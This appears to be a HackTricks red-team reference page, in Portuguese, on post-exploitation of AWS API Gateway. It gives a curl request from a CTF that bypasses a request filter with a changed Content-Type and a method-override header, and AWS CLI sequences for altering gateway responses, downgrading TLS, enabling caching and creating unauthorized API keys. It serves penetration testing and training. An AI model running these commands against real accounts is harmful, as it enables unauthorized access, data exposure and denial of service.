AWS - API Gateway Pós Exploração

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

API Gateway

Para mais informações, consulte:

AWS - API Gateway Enum

Acessar APIs não expostas

Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.
Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.

Bypass do corpo da requisição

Esta técnica foi encontrada em este writeup de CTF.

Conforme indicado na documentação da AWS na seção PassthroughBehavior, por padrão, o valor WHEN_NO_MATCH, ao verificar o cabeçalho Content-Type da requisição, passará a requisição para o back end sem transformação.

Portanto, no CTF, o API Gateway tinha um template de integração que estava impedindo que a flag fosse exfiltrada em uma resposta quando uma requisição era enviada com Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

No entanto, enviar uma solicitação com Content-type: text/json impediria esse filtro.

Finalmente, como o API Gateway estava permitindo apenas Get e Options, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Planos de Uso DoS

Na seção Enumeração, você pode ver como obter o plano de uso das chaves. Se você tiver a chave e ela estiver limitada a X usos por mês, você pode apenas usá-la e causar um DoS.

A API Key só precisa ser incluída dentro de um cabeçalho HTTP chamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateGatewayResponse e apigateway:CreateDeployment pode modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

nota

Necessita de teste

apigateway:UpdateStage, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateStage e apigateway:CreateDeployment pode modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.

nota

Necessita de teste

apigateway:PutMethodResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:PutMethodResponse e apigateway:CreateDeployment pode modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

nota

Necessita de teste

apigateway:UpdateRestApi, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateRestApi e apigateway:CreateDeployment pode modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.

note

Necessita de teste

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Um atacante com permissões apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey pode criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto Potencial: Acesso não autorizado a recursos da API, contornando controles de segurança.

nota

Necessita de teste

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks